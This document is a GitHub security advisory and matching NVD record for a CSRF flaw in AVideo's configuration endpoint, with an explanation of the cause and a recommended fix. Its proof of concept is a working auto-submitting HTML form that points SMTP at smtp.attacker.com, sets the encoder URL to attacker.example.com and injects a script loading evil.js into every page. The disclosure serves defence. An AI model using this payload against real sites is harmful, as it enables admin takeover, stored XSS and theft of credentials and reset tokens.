{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:12:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site\u0027s encoder URL, SMTP credentials, site `\u003chead\u003e` HTML, logo, favicon, contact email, and more in a single request.\n\n## Details\n\nThe entire authorization and CSRF check for the endpoint is this block at `objects/configurationUpdate.json.php:10`:\n\n```php\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/user.php\u0027;\nif (!User::isAdmin()) {\n    die(\u0027{\"error\":\"\u0027 . __(\"Permission denied\") . \u0027\"}\u0027);\n}\n```\n\nImmediately after, `$_POST` values are written straight into the global `AVideoConf` object and persisted:\n\n```php\n// objects/configurationUpdate.json.php\n$config = new AVideoConf();\n$config-\u003esetContactEmail($_POST[\u0027contactEmail\u0027]);          // :21\n$config-\u003esetLanguage($_POST[\u0027language\u0027]);                  // :22\n$config-\u003esetWebSiteTitle($_POST[\u0027webSiteTitle\u0027]);          // :23\n$config-\u003esetDescription($_POST[\u0027description\u0027]);           // :24\n$config-\u003esetAuthCanComment($_POST[\u0027authCanComment\u0027]);     // :25\n$config-\u003esetAuthCanUploadVideos($_POST[\u0027authCanUploadVideos\u0027]); // :26\n// Advanced (default enabled \u2014 $global[\u0027disableAdvancedConfigurations\u0027] is empty by default):\n$config-\u003esetEncoderURL($_POST[\u0027encoder_url\u0027]);            // :32\n$config-\u003esetSmtp($_POST[\u0027smtp\u0027]);                         // :33\n$config-\u003esetSmtpAuth($_POST[\u0027smtpAuth\u0027]);                 // :34\n$config-\u003esetSmtpSecure($_POST[\u0027smtpSecure\u0027]);             // :35\n$config-\u003esetSmtpHost($_POST[\u0027smtpHost\u0027]);                 // :36\n$config-\u003esetSmtpUsername($_POST[\u0027smtpUsername\u0027]);         // :37\n$config-\u003esetSmtpPassword($_POST[\u0027smtpPassword\u0027]);         // :38\n$config-\u003esetSmtpPort($_POST[\u0027smtpPort\u0027]);                 // :39\n$config-\u003esetHead($_POST[\u0027head\u0027]);                         // :42\n// ...\n// Logo / favicon writes:\n$fileData = base64DataToImage($_POST[\u0027logoImgBase64\u0027]);   // :68\nfile_put_contents($global[\u0027systemRootPath\u0027] . $photoURL, $fileData); // :71\n// favicon base64 \u2192 file_put_contents \u2192 ImageMagick `convert` invocation (:88-120)\necho \u0027{\"status\":\"\u0027 . $config-\u003esave() . \u0027\", ...}\u0027;         // :130\n```\n\n### Why CSRF actually lands\n\n1. **SameSite is intentionally `None`.** `objects/include_config.php:144` sets `ini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027)` and the adjacent comment states the design: *\"SameSite=None is intentional: AVideo supports cross-origin iframe embedding\u2026 All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\"* This endpoint enforces no such token.\n\n2. **Project already ships a CSRF primitive and uses it elsewhere.** `objects/functionsSecurity.php:138` defines `forbidIfIsUntrustedRequest()`, and the peer admin endpoint `objects/userUpdate.json.php:18` calls it explicitly. `configurationUpdate.json.php` has no such call \u2014 grepping the file confirms no `forbidIfIsUntrustedRequest`, `verifyToken`, `globalToken`, or Origin/Referer check.\n\n3. **The request is CORS-simple.** The admin UI submits with jQuery `$.ajax(...type: \u0027post\u0027, data: {...})` (see `view/configurations_body.php:753`), which sends `application/x-www-form-urlencoded`. That content type is a CORS \"simple\" request \u2014 no preflight \u2014 so any third-party origin can trigger it from a `\u003cform\u003e` with the admin\u0027s session cookie attached.\n\n4. **Reachable via two paths.** Direct `POST /objects/configurationUpdate.json.php` works, and `.htaccess:459` also exposes it at `POST /updateConfig`.\n\n### Impact primitives unlocked by a single CSRF request\n\n- **`setEncoderURL()`** \u2014 redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in `aVideoEncoder.json.php` / `videoAddNew.json.php`) to the attacker\u0027s server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.\n- **`setSmtpHost/Username/Password/Port/Secure/Auth`** \u2014 the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker\u0027s SMTP relay, harvesting reset tokens and user credentials.\n- **`setHead()`** \u2014 attacker-chosen raw HTML is injected into every page\u0027s `\u003chead\u003e`, giving persistent site-wide stored XSS (e.g. `\u003cscript src=\"https://attacker/evil.js\"\u003e\u003c/script\u003e`) that fires in every visitor\u0027s browser including the admin, enabling session theft of arbitrary users.\n- **`logoImgBase64` / `faviconBase64`** \u2014 attacker-controlled bytes are `file_put_contents`-ed into the web root under `videos/userPhoto/logo.png` and `videos/favicon.png`.\n- **`setContactEmail`, `setWebSiteTitle`, `setAuthCanUploadVideos`, `setAllow_download`, `setSession_timeout`, `setAdsense`, `setDisable_analytics`** \u2014 full site policy and branding control.\n\n## PoC\n\n1. Attacker hosts `evil.html` on any origin:\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=\"x\" action=\"https://victim.example.com/objects/configurationUpdate.json.php\"\n      method=\"POST\" enctype=\"application/x-www-form-urlencoded\"\u003e\n  \u003cinput name=\"contactEmail\"        value=\"attacker@evil.com\"\u003e\n  \u003cinput name=\"language\"            value=\"en\"\u003e\n  \u003cinput name=\"webSiteTitle\"        value=\"Pwned\"\u003e\n  \u003cinput name=\"description\"         value=\"x\"\u003e\n  \u003cinput name=\"authCanComment\"      value=\"1\"\u003e\n  \u003cinput name=\"authCanUploadVideos\" value=\"1\"\u003e\n  \u003cinput name=\"authCanViewChart\"    value=\"1\"\u003e\n  \u003cinput name=\"disable_analytics\"   value=\"0\"\u003e\n  \u003cinput name=\"allow_download\"      value=\"1\"\u003e\n  \u003cinput name=\"session_timeout\"     value=\"3600\"\u003e\n  \u003cinput name=\"encoder_url\"         value=\"https://attacker.example.com/Encoder/\"\u003e\n  \u003cinput name=\"smtp\"                value=\"1\"\u003e\n  \u003cinput name=\"smtpAuth\"            value=\"1\"\u003e\n  \u003cinput name=\"smtpSecure\"          value=\"tls\"\u003e\n  \u003cinput name=\"smtpHost\"            value=\"smtp.attacker.com\"\u003e\n  \u003cinput name=\"smtpUsername\"        value=\"attacker\"\u003e\n  \u003cinput name=\"smtpPassword\"        value=\"password\"\u003e\n  \u003cinput name=\"smtpPort\"            value=\"587\"\u003e\n  \u003cinput name=\"head\"                value=\u0027\u003cscript src=\"https://attacker.example.com/evil.js\"\u003e\u003c/script\u003e\u0027\u003e\n  \u003cinput name=\"adsense\"             value=\"x\"\u003e\n  \u003cinput name=\"autoplay\"            value=\"1\"\u003e\n  \u003cinput name=\"theme\"               value=\"default\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027x\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n2. Any user authenticated as AVideo administrator (`User::isAdmin()` true) visits `https://attacker.example.com/evil.html`. Their browser submits the form cross-origin; because `session.cookie_samesite=None`, `PHPSESSID` is included; because it\u0027s an `application/x-www-form-urlencoded` POST, no preflight is sent.\n\n3. Server-side check at `configurationUpdate.json.php:10` passes (`User::isAdmin()` is true for the victim), and the body reaches `$config-\u003esave()` at `:130`. Response:\n   ```json\n   {\"status\":\"1\",\"respnseLogo\":[],\"respnseFavicon\":null}\n   ```\n   The site-wide configuration is now rewritten with attacker-chosen values \u2014 verifiable by visiting any page and seeing the injected `\u003cscript\u003e` in the rendered `\u003chead\u003e`, and by inspecting `videos/configuration.php` / the `configurations` table.\n\n4. Stored-XSS pivot: every subsequent visitor (including other admins) now executes `https://attacker.example.com/evil.js` from the victim site\u0027s origin, yielding session theft / full admin takeover on what were previously unrelated accounts.\n\n5. SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to `smtp.attacker.com:587` with `attacker:password`, and any future mail from AVideo is observable by the attacker.\n\n## Impact\n\n- **Full site configuration takeover** from a single cross-origin form submission against any logged-in administrator.\n- **Persistent stored XSS site-wide** via `setHead()`, affecting every visitor and enabling session hijack of other admins and users.\n- **Credential / reset-token exfiltration** via attacker-controlled SMTP relay.\n- **Encoder pipeline hijack**: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.\n- **Arbitrary file write under web root** via `logoImgBase64` / `faviconBase64`.\n- No bypass of admin auth is needed \u2014 the attacker uses the victim admin\u0027s own authenticated session; only a single visit to an attacker-controlled link is required.\n\n## Recommended Fix\n\nCall the existing CSRF primitive immediately after the admin check, matching what `objects/userUpdate.json.php:18` already does:\n\n```php\n// objects/configurationUpdate.json.php\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/user.php\u0027;\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/functionsSecurity.php\u0027;\nif (!User::isAdmin()) {\n    die(\u0027{\"error\":\"\u0027 . __(\"Permission denied\") . \u0027\"}\u0027);\n}\nforbidIfIsUntrustedRequest(\u0027configurationUpdate\u0027); // same-origin / CSRF token check\n```\n\nPreferably also require a short-lived `globalToken` (`verifyToken($_REQUEST[\u0027globalToken\u0027])`) as `include_config.php:140-143` prescribes, and update `view/configurations_body.php` to include that token in the AJAX payload. Audit all other `objects/*.json.php` state-mutating endpoints for the same omission \u2014 the pattern is structural and likely present on more endpoints.",
  "id": "GHSA-vvfw-4m39-fjqf",
  "modified": "2026-04-14T23:12:30Z",
  "published": "2026-04-14T23:12:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-vvfw-4m39-fjqf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/f9492f5e6123dff0292d5bb3164fde7665dc36b4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials"
}

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions 29.0 and prior, `objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site\u0027s encoder URL, SMTP credentials, site `\u003chead\u003e` HTML, logo, favicon, contact email, and more in a single request. Commit f9492f5e6123dff0292d5bb3164fde7665dc36b4 contains a fix."
    }
  ],
  "id": "CVE-2026-40925",
  "lastModified": "2026-04-22T21:23:52.620",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 8.3,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.5,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-21T21:16:45.903",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/commit/f9492f5e6123dff0292d5bb3164fde7665dc36b4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-vvfw-4m39-fjqf"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-vvfw-4m39-fjqf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-352"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}